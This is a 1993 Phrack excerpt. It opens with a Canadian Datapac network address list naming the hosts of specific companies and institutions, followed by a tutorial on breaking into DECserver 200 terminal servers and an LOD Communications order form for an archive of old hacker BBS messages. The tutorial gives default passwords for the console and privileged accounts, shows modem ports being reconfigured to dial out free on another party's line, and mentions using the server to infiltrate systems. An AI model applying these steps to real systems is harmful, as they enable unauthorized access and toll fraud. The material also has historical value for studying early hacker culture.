38501019 XMUX node: WELLAND

38501149 XMUX node: CPNWRI

38501151 VAX/VMS

38501155 DATAPAC : BUR SYSTEM READY

38501175 CDCNET

38501194 VAX/VMS AEG Electrocom CDN_CECO V25.3 38700015 VAX/VMS BURCOM ‑ MicroVAX ][ ‑ MSB

38700022 XMUX node: RBURL

38700048 PRIMOS 20.2.6 SYSD

38700068 $ Bailey Controls Canada

38700119 ::

38700127 XMUX node: STORE031

38700132 XMUX node: LIMRIDGE

38700152 PRIMOS 20.2.6 SYSF

38700153 PRIMOS 20.2.6 SYSL

38700155 XGATE:

38700162 XMUX node: QUEENSTN

38700261 XMUX node: HAMILTON

38700262 XMUX node: FORTERIE

38700426 XMUX node: HAM

38700583 XMUX node: DISCNT2

38700629 XMUX node: NIAGARA

39100017 MERLIN SYSTEM 2

39100019 MERLIN ""

39100020 MERLIN ""

39100041 Id: LU:Z0068

39100043 Id: LU:Z0070

39100044 Id: LU:Z0077

39100045 Id: LU:Z0078

39100049 Green Line Investor Services

39100057 VAX/VMS Burns Fry Analytics Inc. Fixed Income Research 39100077 Toronto Public Library

391000775 XMUX node: TPL

39100092 INT/UNIX system name: cirus 2 INTERACTIVE SYSTEMS CORP. 39100146 XMUX node: STORE088

39100200 iNet2000

39100234 VAX/VMS Burns Fry Ltd. MicroVAX 3800 39100395 HP3000

39100498 STARMASTER

39100503 MERLIN SYSTEM 2

39100566 STARMASTER NORBORD Industries

39100566 Console

39100581 AOS/VS

39400100 iNet2000

39400101 iNet2000

39500032 INFOGLOBE DATABASE‑‑PLEASE SIGN ON

39500032 Globe & Mail

40100012 PACX U.C.G. PACX 2000

41100043 Infoglobe

41100045 Interactive UNIX

41100054 Green Line Investor System

41100065 Imprimerie Quebec

41100301 Prime Net

41100656 Lotus CSG

41100681 ??

43900170 ECHO System

55500010 French?

59100088 U Of A 3000 System

59100092 Keyano College‑Alberta

59100099 VMS/VAX

60100010 U of Alberta

62400440 UNIX 2000 System

62600009 Private Network

62600045

62600046 Service Id:

66600062 Van‑Reg

66600180 ??

67100752 User Name?

67101408 ??

67101700 Cloverdale Paint

67101802 VMS/VAX

69100018 CYBERSHARE

69100376 VMS/VAX

69200032 Lucky (VMS/VAX)

69200239 Environment Winnepeg

69200343 User Id:

70300066 Brandon University

72100315 SPMC (VMS/VAX)

72100465 MCR

72101002 VMS/VAX

72101058 SPECIFY APPLICATION DESIRED

72101109 Information System Management

72400014 Max Daisley System (VMS/VAX)

72400100 Envoy

72400101 Envoy

78100092 VMS/VAX

78100209 VMS/VAX

78100265 VMS/VAX

78100476 Hewlett Packard System

78100876 DYNIX S6000

78101097 VMS/VAX

79400100 Envoy

84400095 Profits

84400237 Service Id:

84400312 GEnie Network

84400513 SuperDOS

84400526 BNF: DATAPAC SYSTEM READY

84400571 Daily Oil & Associates BBS

84800410 VMS/VAX

84800535 CAS: DATAPAC

84800700 VMS/VAX

84800728 %XGATE

84800784 XENIX System

84800829 Alberta Wheat Pool

84800888 ALLSTATE (VMS/VAX)

91100014 Gandalf System ‑ Canadian Facts

91100174 VMS/VAX

91100482 Grassroots System (Special Emul. Needed) 92100086 DATAPAC Information

93200233 UM‑Net

An Introduction to the Decserver 200

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 22 of 27

****************************************

‑‑ An Introduction to the DECserver 200 ‑by Opticon The Disassembled

ANARCHY: "The belief that society

can be maintained without prisons,

armies, police or other organized force to

maintain property rights, collect taxes or

enforce such personal obligations as debts,

contracts or alimony." ‑EB 1966, vol.I

(taken from the Phrozen Realm)

"If ur good, nobody knows that ur there"

The DECserver is a terminal server (WOW!). The Model 200 is the most commonly found server in VMS machines. This device connects up to eight asynchronous (RS232C) terminals to one or more hosts available on an Ethernet Local Area Network.

It is connected to the LAN through an Ethernet physical channel and supports speeds up to 19.200bps. It can be found on VAXes, mVAXes and VAXstations. It uses the Local Area Transport protocol to communicate with the other nodes. It also implements the Terminal Device/Session Management Protocol to achieve multiple sessions. Things that can be found plugged on it include dial‑in and out modems, terminals, printers and stuff like that. The identification code for it in VMS is DS2. It's software is installed via VMSINSTAL.COM to SYS$SYSROOT:[DECSERVER] or in SYS$COMMON:[DECSERVER] for the cluster machines. And of course now you will ask why should you be interested in a damn phucking (=relief, back to my native language) SERVER. A lot of interesting things can be done, like dialing out for free (assuming you can connect to it in a convenient way). You can even find a DEC server 200 dedicated to eight high speed modems. There is no need to say that you need privileges to phuck up with devices like that...or there is?

..Set Default to SYS$SYSROOT:[DECSERVER] and run DSVCONFIG.COM :

$

$ set default sys$sysroot:[decserver]

$ show default

SYS$SYSROOT:[DECSERVER]

= SYS$SYSROOT:[DECSERVER]

= SYS$COMMON:[DECSERVER]

$ @dsvconfig

You must assign a unique DECnet node name and DECnet node address for each new DECserver.

Press <RET> to start, or <CTRL/Z> to exit...

D E C s e r v e r C o n f i g u r a t i o n P r o c e d u r e

Version: V1.7

Menu of Options

1 ‑ List known DECservers 2 ‑ Add a DECserver 3 ‑ Swap an existing DECserver 4 ‑ Delete an existing DECserver 5 ‑ Restore existing DECservers CTRL/Z ‑ Exit from this procedure

Your selection? 1

DECnet DECnet Server Service

Address Name Type Circuit Ethernet Address Load File Dump File

‑‑‑‑‑‑‑ ‑‑‑‑‑‑ ‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑

1.1 KEYWAY DS200 BNA‑0 08‑00‑2B‑07‑39‑5E PR0801ENG.SYS DS2KEYWAY.DMP 1.2 REVEAL DS200 BNA‑0 08‑00‑2B‑28‑32‑CB PR0801ENG.SYS DS2REVEAL.DMP 1.3 OASIS DS200 BNA‑0 08‑00‑2B‑26‑A9‑57 PR0801ENG.SYS DS2OASIS.DMP 1.4 PAWN DS200 BNA‑0 08‑00‑2B‑24‑F3‑98 PR0801ENG.SYS DS2PAWN.DMP 1.5 OPAQUE DS200 BNA‑0 08‑00‑2B‑11‑EA‑D4 PR0801ENG.SYS DS2OPAQUE.DMP 1.6 TOKEN DS200 BNA‑0 08‑00‑2B‑10‑64‑98 PR0801ENG.SYS DS2TOKEN.DMP 1.7 KERNEL DS200 BNA‑0 08‑00‑2B‑12‑D6‑39 PR0801ENG.SYS DS2KERNEL.DMP 1.8 IRIS DS200 BNA‑0 08‑00‑2B‑12‑D6‑39 PR0801ENG.SYS DS2IRIS.DMP 1.9 NEBULA DS200 BNA‑0 08‑00‑2B‑12‑D6‑39 PR0801ENG.SYS DS2NEBULA.DMP

Total of 9 DECservers defined.

(Press RETURN for menu)

Connecting to one of them:

$ mc ncp connect node iris

Console connected (press CTRL/D when finished)

#

Here you must give a password. The default one is usually working so try "access". Only in "high security" systems they change the default password, because privileges are needed anyway to access the Network Control Program (which can be a possible subject for my next article). But since you are in using a system account (..privileged) you can change the current password if you find any good reason for doing so. More on that later.

DECserver 200 Terminal Server V3.0 (BL33) ‑ LAT V5.1

Please type HELP if you need assistance

Enter username> <type anything here it doesnt really matter>

You are in.

In the DECserver there are Permanent and Operational databases. The permanent database holds commands which affect the device permanently when you log out. In the Operational database whatever you do is temporary and takes effect only for the time you are logged in.

Let's go on by trying to get the default privileged account which enables you to view various things and make changes other than the normal ones.

Local> set privileged

Password> system

Again the default password should work.

Local> show hosts

Service Name Status Identification

VMS 1 Connected Welcome to VAX/VMS V5.4‑2

MODEM Available Dial In And Out

UNIX Available BSD

Local> show nodes

Node Name Status Identification

VMS 1 Connected Welcome to VAX/VMS V5.4‑2

UNIX Reachable BSD

IRIS Reachable

Local> show services

Service Name Status Identification

VMS 1 Connected Welcome to VAX/VMS V5.4‑2

MODEM Available Dial In And Out

UNIX Available BSD (RISC)

Local> show users

Port Username Status Service

1 anything Connected VMS

Local> show sessions (it'll display YOUR sessions)

Port 1: anything Local Mode Current Session: None

** Before proceeding lets have a better look at some Features DECserver 200 has, needed to understand some interesting things which follow or even some things that were previously mentioned.

Remote Console Facility (RCF) is a management tool which helps you to connect remotely to any server available via it's management port. This is not hardware, but a logical port although it still has the same characteristics physical ports have.

There are Privileged, non‑Privileged and Secured ports. These are variables you can define by the time you manage to get the privileged account. A privileged port accepts all server commands. You can perform tests, define server operations, maintain security and all that bullshit. If you don't understand it yet, this status is enabled with the SET PRIVILEGED command we have used previously.

A non‑Privileged port can only manage and use commands which affect the sessions that are currently connected to a host or node. This is the default status of course.

A Secured port is something in between. Users can make use of a restricted command set to make changes which affect only the port they own ("Property is theft but theft is property too, Prounton." Pardon me if the translation was destructive to the original meaning of this phrase, and if I piss you off every time I start talking about things that are completely irrelevant to the grand scheme of things and everything my articles are SUPPOSED to deal with).

Our little unit has 5 types of passwords and that will help you understand how important it is for the whole system.

(1) A PRIVILEGED password is what you should be aware of by now. You can SET/DEFINE SERVER PRIVILEGED PASSWORD "string", to change it.

(2) A LOGIN password prevents the use of the server by unauthorized users. This can be enabled for every port or for a single dial‑in modem port. You must first specify the password for the entire server via SET/DEFINE SERVER LOGIN PASSWORD and then, enable or disable it depending on the needs of a specified port, via SET/DEFINE PORT x LOGIN PASSWORD ENABLED/DISABLED. This password takes effect when you try to login to a port. The prompt is a "#" sign, without the double quotes.

(3) A MAINTENANCE password prevents unauthorized users from doing remote maintenance operations like the one we did after we ran DSVCONFIG.COM. "The DECnet service password corresponds to the server maintenance password and it is entirely unrelated with the DECserver 200 service password". In other words someone who wishes to modify a value in your server must give in the NCP> command line, a parameter which specifies your server's maintenance password. Of course if this password is set to null (0) no password is needed. Also "Digital Equipment Corporation recommends against storing the password in the DECnet database (as the DECnet service password) and it strongly suggests that you change the maintenance password from the default value of 0 to maintain adequate server security" ...tsk tsk tsk...

(4) A SERVICE password protects a service or services defined on the server. You can increase or decrease the number of attempts before the server gives a message, informing that the connect has failed because of an invalid password, via SET/DEFINE SERVER PASSWORD LIMIT.

(5) A LOCK password protects your current sessions and port from other unwanted human substances. The server accepts no input until you retype the password you used for locking it.

Finally, a port may be available only for certain users or groups.

** As you can see, it can be really tough to break VMS' security if all the available measures are taken.

Research for modems:

Local> show port 8

Port 8: Server: IRIS

Character Size: 8 Input Speed: 19200 Flow Control: XON Output Speed: 19200 Parity: None Modem Control: Disabled

Access: Local Local Switch: None Backwards Switch: None Name: PORT_8 Break: Local Session Limit: 4 Forwards Switch: None Type: Soft

Preferred Service: None

Authorized Groups: 0

(Current) Groups: 0

Enabled Characteristics:

Autobaud, Autoprompt, Broadcast, Input Flow Control, Loss Notification, Message Codes, Output Flow Control, Verification

Simple configuration, probably nothing or a terminal in there. What this screen says is that we have on server IRIS, on port 8, something with character size of 8, flow control XON (it could be CTS ‑hardware‑), parity none, input speed 19200bps, output speed 19200bps and modem control disabled.

All the other information have to do with the server and how it reacts to certain things. So if the preferred service was "VMS" and you were logging in through port 8, you would immediately connect to the VAX without having the server asking you where to log you to. The "break: Local" variable means that if you send a break character you will find yourself in the "Local>" prompt even if you have been working in the UNIX OS of the "UNIX" host and that lets you start multiple sessions. Quite useful. The forward and backward switches are for moving around your sessions. Everything can be modified.

For more information concerning the parameters have a look at the command reference or the help utility.

Local> show port 1

Port 1: Server: IRIS

Character Size: 8 Primary Speed: 9600 Flow Control: CTS Alternate Speed: 2400 Parity: None Modem Control: Enabled

Access: Dynamic Local Switch: None Backwards Switch: None Name: MODEM_1 Break: Local Session Limit: 4 Forwards Switch: None Type: Soft

Preferred Service: VMS

Authorized Groups: 0

(Current) Groups: 0

Enabled Characteristics:

Autobaud, Autoconnect, Autoprompt, Broadcast, Dialup, DTRwait, Inactivity Logout, Input Flow Control, Loss Notification,

Message Codes, Output Flow Control, Ring, Security, Verification

And that's, obviously, a modem. The speed, the modem control and the enabled characteristics will help you understand even if the name is not helping at all. Have a look at the "Alternative Speed" option.

What to do now that you have find it?

Local> set port 1 modem control disabled

Local> set service modem port 1

Local> connect modem

Start programming. This way is a little bit awkward and of course there is a possibility that the modem is ALREADY defined as a dial‑out modem. You are a privileged user, don't forget that. I would recommend not to harm the server ("nothing comes from violence and nothing ever good") and to leave things as u find them. DO NOT create a permanent dial‑out modem service (which can be done directly from VMS if you really want to) and DO NOT forget that somebody has to pay for your calls and that the line which the modem uses, may be limited to certain numbers or even prevent out‑dialing by hardware. Use your brains...And don't stick in the idea of researching modems. You can use a DECserver to infiltrate a system. Don't misuse those introductions.

Overview of Commands (in alphabetical order)

* BACKWARDS

Goes back to a previous session.

* BROADCAST

Sends a message to a port.

* CLEAR

Clears a service. It belongs to the Operational Database. * CONNECT

Connects to a service or port.

* CRASH

Shuts down the server and reinitializes it.

* DEFINE

Defines something. It belongs to the Permanent Database. * DISCONNECT

Disconnects a session or port.

* FORWARD

Goes forward to a following session.

* HELP

Help.

* INITIALIZE

Reboots the server. You can specify a delay in minutes and "Local>initialize cancel" if you decide, finally, not to do it.

* LIST

Displays information on something; Devices,Nodes,Ports,Queue, Server, Services, Sessions...

* LOCK

Locks your terminal with a password you specify that moment. Retype your temporary password to continue.

* LOGOUT

Logs out the specified port. If none, your current port. * MONITOR

Devices, Nodes, Ports, Queue, Server, Services, Sessions... * PURGE

Purges a service from the Permanent database.

* RESUME

Resumes a session.

* SET

Devices, Nodes, Ports, Queue, Server, Services, Sessions, Characteristics,Privileged,NONprivileged...It belongs to the Operational database.

* SHOW

Everything.

* TEST

Tests a LOOP, PORT or SERVICE.

An interesting Warning Message, just for informational purposes, is the following;

" Local ‑120‑ WARNING ‑ Access to service is not secure

Session status information cannot be passed between the server and the attached device because modem signals are not present. This is not a problem if the device is a non‑secure printer; however, if the port is a non‑LAT host system, users could access other users' data. "

That's all for now I think.

There are many things to explain but there is no reason for doing that right now. If you need more information then just have a look at the HELP utility or contact me, somehow. [I hope you have not misunderstood my strange looking article because my native language is not English]

" Opticon: Don't you think that I'm getting insane?

TLA: Yeah, sure looks like it..."

Love and An‑archy to all those who know why.

LOD Communications BBS Archive Information

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 23 of 27

****************************************

The LOD Communications Underground H/P BBS Message Base Project: Information and Order Form File Version #2, 7/30/93

This file contains:

‑ Background information on the project;

‑ Excerpts from Computer underground Digest (CuD) Issue #5.39; ‑ UPDATED FAQ AND PRICING; and,

‑ UPDATED Order form and stipulations.

This is an update of Version #1 of this file. A change in pricing structure (to your benefit) has been made along with some additions to the FAQ among other things. All sections that have been changed/updated are bordered by 3 asterisks (*** ___ ***). Please take the time to read through the updates. Sections without asterisks have not been changed and are essentially the same as in Version #1. This file is approximately ten pages in length (28K) and should answer all of your questions.

The Project:

‑‑‑‑‑‑‑‑‑‑‑‑

Throughout history, physical objects have been preserved for posterity for the benefit of the next generation of humans. Cyberspace, however, isn't very physical; data contained on floppy diskettes has a finite lifetime as does the technology to retrieve that data. The earliest underground hacker bulletin board systems operated at a time when TRS‑80s, Commodore 64s, and Apple ][s were state‑of‑the‑art. Today, it is difficult to find anyone who has one of these machines in operating condition, not to mention the brain cells left to recall how to operate them. :‑(

LOD Communications has created a historical library of the "dark" portion of Cyberspace. The project's goal is to acquire as much information as possible from underground Hack/Phreak (H/P) bulletin boards that were in operation during a decade long period, dating from the beginnings (in 1980/81 with 8BBS and MOM: Modem Over Manhattan) to the legendary OSUNY, Plover‑NET, Legion of Doom!, Metal Shop, etc. up through the Phoenix Project circa 1989/90. Currently, messages from over 50 different BBSes have been retrieved, although very few message bases are 100% complete. However, not having a complete "set" does not diminish their value.

Who Benefits From This Information?:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ PARTICIPANTS who were on the various H/P BBSes may want to see their contribution to history or reminisce about the "golden era" of hacking;

‑ ENTHUSIASTS who came into the "scene" after most of these boards were down may want to see what they missed;

‑ COMPANIES who may want to see if their (or their competitors') phone systems, computers, or networks were compromised;

‑ SECURITY PROFESSIONALS/LAW ENFORCEMENT who may want to see what techniques were used to subvert computer security systems;

‑ SCHOOLS AND UNIVERSITIES (including their libraries) who may want to use the information for research in sociology or computer science as well as for educational purposes in courses such as Computer Law, Computer Ethics, and Computer Security;

‑ AUTHORS/PRESS who may want to finally get the facts straight about "hackers"; and,

‑ THE CURIOUS PUBLIC who may want to sneak a peek into the inner realm of the Computer Underground, especially those Restricted Access BBSes and their Private sub‑boards where only a small handful of "the best" resided.

Were the individuals involved in the Computer Underground out to start World War III, selling secrets to the Soviets, working with organized crime, conspiring to do evil, or just a bunch of bored teenagers with nothing better to do? How much did they know, and how did they find it out? Did they have the capability to shut down phone service of Area Code portions? Could they ruin someone's credit? Could they "move satellites in the heavens?" Could they monitor packet switching network conversations or YOUR conversations? The answers lie within the messages themselves.

*** Why is LODCOM Charging Money For The Message Bases?: ***

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As happens with most projects, the effort and monetary investment turned out to be substantially more than originally anticipated. With all of the high‑tech equipment available today, people sometimes forget that in the early 1980s, 14.4K baud modems and 250 MB hard drives were just a fantasy for the home computer user. Most messages Lodcom has recovered were downloaded at 300 baud onto 143K disk drives, with each file usually no larger than 15K in size. One could not call a BBS and download the complete message base in 10 minutes and save it into one file. Literally hundreds of man‑hours have been spent copying dusty Apple ][ disks, transferring them to IBM (or typing in hard copy versions when electronic versions were unavailable), organizing over one thousand individual files (thus far) according to what BBS the messages were originally posted on, and splicing the files together. Also, after consulting with the appropriate civil liberties organizations and our own legal counsel, a slight editing of the messages (restricted to long distance access codes, phone numbers, and computer passwords) had to be made to ensure that there is nothing illegal contained within the messages. Every effort was made to keep the messages in their pristine condition: 40 columns, ALL CAPS, spelling errors, offensive language, inaccuracies of various kinds, and ALL.

Although a fairly comprehensive collection of the goings‑on during a decade of public and private computer underground activity has been accomplished, there are more messages out there. It is our wish to continue to document the History of the Computer Underground. In order to do this, and in order to break even on what resources have already been expended (it is a LOT more than most people realize), a dollar value has been attached to the entire compilation of message bases (ie, all Volumes combined). Without your understanding and support, this effort may not be able to sustain itself long enough to complete the project. A large portion of any profits will be recycled for two other projects in the works, whose aim is to provide additional historical background on the Computer Underground Community. That is, no one involved is quitting their day job :‑)

DONATIONS: A portion of every order will be donated to the following causes:

1) A donation will be made to help pay for Craig Neidorf's (Knight Lightning ‑ Metal Shop Private Co‑Sysop) Legal Defense bills (resulting from his successful campaign to protect First Amendment rights for electronic publishing, i.e. the PHRACK/E911 case).

2) The SotMESC Scholarship Fund. The SotMESC Scholarship is awarded to students writing exceptional papers of 20 to 30 pages on a topic based on computer culture (ie, hacking culture, virus writing culture, Internet culture, etc.) For more details write: SotMESC PO BOX 573 Long Beach, MS 39560 or email: rejones@seabass.st.usm.edu

What Each "Message Base File" Contains:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ A two page general message explaining H/P BBS terminology and format.

‑ The BBS Pro‑Phile: A historical background and description of the BBS either written by the original system operator(s) or those who actually called the BBS when it was in operation (it took months to track the appropriate people down and get them to write these specifically for this project; lesser known BBSes may not contain a Pro‑Phile);

‑ Messages posted to the BBS (i.e. the Message Base);

‑ Downloaded Userlists if available; and

‑ Hacking tutorials a.k.a. "G‑Philes" that were on‑line if available.

It is anticipated that most people who are interested in the message bases have never heard of a lot of the BBS names shown in the listing. If you have seen one set of messages, you have NOT seen them ALL. Each system had a unique personality, set of users, and each has something different to offer.

Formats the Message Base Files are Available in:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Due to the large size of the Message Base Files, they will be compressed using the format of your choice. Please note that Lodcom does NOT include the compression/uncompression program (PKZIP, PAK, etc.). ASCII (uncompressed) files will be provided for $5.00 extra to cover additional diskette (files that are uncompressed require more than double the number of diskettes) and shipping costs. The files are available for:

‑ IBM (5.25 or 3.5 inch)

‑ AMIGA (3.5 inch)

‑ APPLE MACINTOSH (3.5 inch)

‑ PAPER versions can be ordered but cost triple (due to increased shipping costs, time to print order, and messages being in 40 column format and therefore wasting lots of paper...save those trees!). Paper versions take twice the time to deliver but are laser printed.

Orders are expected to arrive at the requesters' physical mail box in 3‑5 weeks upon receipt of the order.

*** FAQs (Frequently Asked Questions): ***

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

QUESTION: In VERSION #1 of this file a minimum order size of $20.00 was required but I don't see that in this version. Also all the individual Message Bases had a price. Why the change?

ANSWER: After disseminating the first version of this information file, we received a very good response as far as orders are concerned. Since our goal is to recoup the expenses incurred (and still incurring) on this project rather than 'fleece the masses' it was decided to lower the overall price which translates to offering more files for the same old price. That is, you will receive ALL Volumes of this project for $39.00 rather than just the 1st Volume as was mentioned in the last release of this information file. As for the minimum order ($20.00), since EVERYONE who has thus far ordered the Message Bases ordered the complete volume (was Volume #1 only, now it's all volumes) rather than individual message bases, we decided to do away with individual Message Base pricing due to lack of demand.

QUESTION: How many Volumes will Lodcom be releasing?

ANSWER: Three Volumes minimum, possibly a fourth if additional material is obtained. There are still a few contributors who have material that hasn't been sent to us yet. The expected release of future Volumes are:

Volume 1: 5700+ Messages, 20 H/P BBSes, COMPLETED. Volume 2: 15‑25 H/P BBSes, September 1993. Volume 3: 15‑25 H/P BBSes, November 1993. Volume 4: If there is one, End of December 1993. All in all there is expected to be 15000+ Messages.

QUESTION: How long will these Message Base Files be available?

ANSWER: We cannot say for sure. This is an ongoing effort and your support will allow us to continue until we are satisfied with having recovered the last decent scraps of messages out there. Assuming there is a demand for these messages, all H/P BBSes of WORTH (i.e. NON‑"codez" and NON‑"warez" systems) are expected to be offered by the end of this year (1993). A Guesstimate of what will be offered is 60 to 80 Message Bases, half of which will be rather partial. Orders are expected to be filled at least into the beginning of next year (1994) although this may change. Regardless, we will send out notification well in advance of ceasing operations.

QUESTION: I ordered Volume #1 already, is your new pricing retroactive?

ANSWER: Yes. If you have already ordered Volume #1, when the next Volume is completed it will be sent out to you without any action on your part. If you change mailing addresses be sure to notify us. Think of this as a Subscription of sorts. Order now and all completed Volumes will be sent to you. When another Volume is finished it will be sent out automatically. If it wasn't for all of you who have already ordered and showed your support, we would not be able to offer ALL the Volumes for what you paid for the first Volume.

QUESTION: What if lodcom obtains more messages from a BBS or BBSes after a Volume has been shipped to me, will I get those messages also?

ANSWER: Yes. Any additional messages to a H/P BBS that we obtain after shipping that BBS file to you will be sent to you either via email or via snail mail on another diskette.

QUESTION: I would really like to get a feel for what a few of the boards were like before I order them. Can I get more info?

ANSWER: Yes. A Sample of actual messages is available by performing the following, so long as you have TELNET access to the Internet:

Telnet to: phantom.com (or) 198.67.3.2 Type: mindvox [To enter the Mindvox system] login as: guest [To look around] At prompt: finger lodcom [To see our Sample Messages File]

If you do not have TELNET access to the Internet, AND your host will NOT "bounce" a 50K file, Lodcom will send you the Sample Messages File if you specifically request it. The file has 31 fairly typical messages from Five H/P BBSes that operated between 1983 and 1989.

QUESTION: "Can I help out? I have some old messages" (either on a C64, Apple, IBM [best for us], or printout).

ANSWER: Contact us ASAP! We will work out an equitable agreement depending on the quantity, quality, format, and "ancientness" of the messages. Your contribution will not go unrecognized.

QUESTION: I would like another person's point of view on this project before I decide to order. Where can I get more information?

ANSWER: See the following excerpt from Cud #5.39. We also list where you can get the original CuD issue which also includes an interview and some BBS Pro‑philes.

*** CuD Excerpts: ***

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Computer underground Digest Sun May 30 1993 Volume 5 : Issue 39 ISSN 1004‑042X

Editors: Jim Thomas and Gordon Meyer (TK0JUT2@NIU.BITNET)

CONTENTS, #5.39 (May 30 1993)

File 1‑‑The LOD Files ‑ A CuD Critique

File 2‑‑Histories of BBSes (excerpts from the LOD files)

File 3‑‑LOD Project Summary and Contact Information

File 4‑‑An Interview with the LOD

Cu‑Digest is a weekly electronic journal/newsletter.

Issues of CuD can be found in the Usenet comp.society.cu‑digest news group. U.S. Anonymous FTP: ftp.eff.org (192.88.144.4) in /pub/cud directory. Back issues may be obtained through mailserver at: server@blackwlf.mese.com

*** {The following excerpts are from CuD #5.39 File 1, CuD's Critique} ***

"...Lest there be any confusion, there remains only one LOD, most of its original members are in periodic contact, they have long since become adults, and there is no relationship between the original LOD and any recent individuals or groups claiming the name.

But who really cares??

CuD, for one cares. The original LOD remains a cultural icon of the 1980s in computer culture, and‑‑for better or worse‑‑it was the most influential and imitated group whose mystique continues into the mid‑90s. This alone is hardly sufficient reason to worry about a label. The identity is important because the original members are becoming involved in projects that reflects their activities of a decade ago, and it becomes confusing when others scurry about trying to associate with that identity. If questions of identity arise, confusion over and doubts about the credibility of the projects arise.

One current LOD project has impressed us. The original LOD members are compiling logs from a number of the premier "hacker underground BBSes" of the 1980s. We have obtained excerpts from the project, and we are impressed with the professionalism and comprehensiveness of the material.

Working collectively under the name "LOD Communications," former members have scoured their archive for BBS logs from the mid‑to‑late 1980s. The logs include BBSes such as OSUNY, Twilight Zone, Forgotten Realm, Black Ice Private, Phoenix Project, Face to Face, Alliance, and Plover‑NET, among others. Many were the primary boards of the era, and others typify secondary levels of the culture. Both singly and in the aggregate, the collection provides an unprecedented view into a culture that most of us only read about in "Cyberpunk" or "The Hacker Crackdown."

We like the material for several reasons. First, as researchers, we find even the limited material we have seen to date as a rich source of data for anybody who wants to understand the culture of time. It is as if somebody had walked though San Francisco's Haight‑Ashbury district with a video‑cam during the "Summer of Love" and then released the tapes years later. It's an anthropologists dream, a sociologists data trove, and a historian's archival orgasm. Even law enforcement and security personnel would find it helpful for demystifying many of the misconceptions of "hackers." For others, it's simply fun reading.

The logs are sufficiently entertaining and useful when each board is read individually. However, the power of the collection comes in reading them as chapters in a novel, as segments at different points in time that combine to give the individual posters and the boards a personality. We find ourselves wanting to know more about some of these people: How did they resolve their problems? Who was the alleged informant on a given board? Can we spot them from the posts? How did that poster resolve his problems? What happened to these people later?

Many of the logs' posts are flattering, others are less so. To their credit, the lodcom editors have left it all intact to let the readers see and judge for themselves what occurred on the underground boards. The LOD collection provides an authentic look into what went on, and reading them gave us a feeling of deja vous all over again."

*** {End CuD #5.39 Excerpts} ***

VOLUME #1 CONTENTS:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

LOD Communications (c) 1993: VOLUME #1 List of Hack/Phreak BBS Message Bases

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BBS NAME A/C SYSOP(S) # MSGS DATES KBYTES PROPHILE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Alliance BBS 618 Phantom Phreaker 113 2/09/86 ‑ 215 YES Doom Prophet G,P 6/30/86

Black Ice Private 703 The Highwayman 880 12/1/88 ‑ 560 YES

P,U 5/13/89

Broadway Show/ 718 Broadway Hacker 180 9/29/85 ‑ 99 YES

Radio Station BBS 12/27/85

CIA BBS 201 CIA Director 30 5/02/84 ‑ 30 NO

6/08/84

C.O.P.S. 305 Mr. Byte‑Zap 227 11/5/83 ‑ 196 YES The Mechanic G,R,U 7/16/84

Face To Face 713 Montressor 572 11/26/90 ‑ 400 YES Doc Holiday 12/26/90

Farmers Of Doom 303 Mark Tabas 41 2/20/85 ‑ 124 YES

G 3/01/85

Forgotten Realm 618 Crimson Death 166 3/08/88 ‑ 163 NO

4/24/88

Legion Of Doom! 305 Lex Luthor 194 3/19/84 ‑ 283 YES Paul Muad'Dib * G,P,U 11/24/84

Metal Shop Private 314 Taran King 520 4/03/86 ‑ 380 YES Knight Lightning P,R,U 5/06/87

OSUNY 914 Tom Tone 375 7/9/82 ‑ 368 YES Milo Phonbil * G,U 4/9/83

Phoenix Project 512 The Mentor 1118 7/13/88 ‑ 590 YES Erik Bloodaxe * G,R 2/07/90

Plover‑NET 516 Quasi Moto 346 1/14/84 ‑ 311 YES Lex Luthor * G 5/04/84

Safehouse 612 Apple Bandit 269 9/15/83 ‑ 251 YES

G,U 5/17/84

Sherwood Forest I 212 Magnetic Surfer 92 5/01/84 ‑ 85 YES

P,U 5/30/84

Sherwood Forest ][ 914 Creative Cracker 100 4/06/84 ‑ 200 YES Bioc Agent 003 * G 7/02/84

Split Infinity 408 Blue Adept 52 12/21/83 ‑ 36 YES

1/21/84

Twilight Phone ??? System Lord 17 9/21/82 ‑ 24 NO

1/09/83

Twilight Zone/ 203 The Marauder 108 2/06/85 ‑ 186 YES Septic Tank Safe Cracker * G,U 7/24/86

WOPR 617 Terminal Man 307 5/15/84 ‑ 266 YES The Minute Man * G,U 1/12/85

_______________________________________

NOTES: In SYSOP(S) column, * indicates remote sysop.

In #msgs column, P indicates that the BBS was Private, R indicates BBS was public but restricted access sub‑board(s) are included, G indicates that SOME (or maybe all) of the G‑files written by the sysop and/or files that were available on the BBS are included, U indicates that a BBS Userlist (typically undated) is included.

DATES column shows the starting and ending dates for which messages were buffered (and therefore available) although there may be some gaps in the chronological order.

KBYTES column shows size of complete file containing messages, g‑files, userlist, etc. PROPHILE column indicates if a "BBS Pro‑Phile" was written and is included.

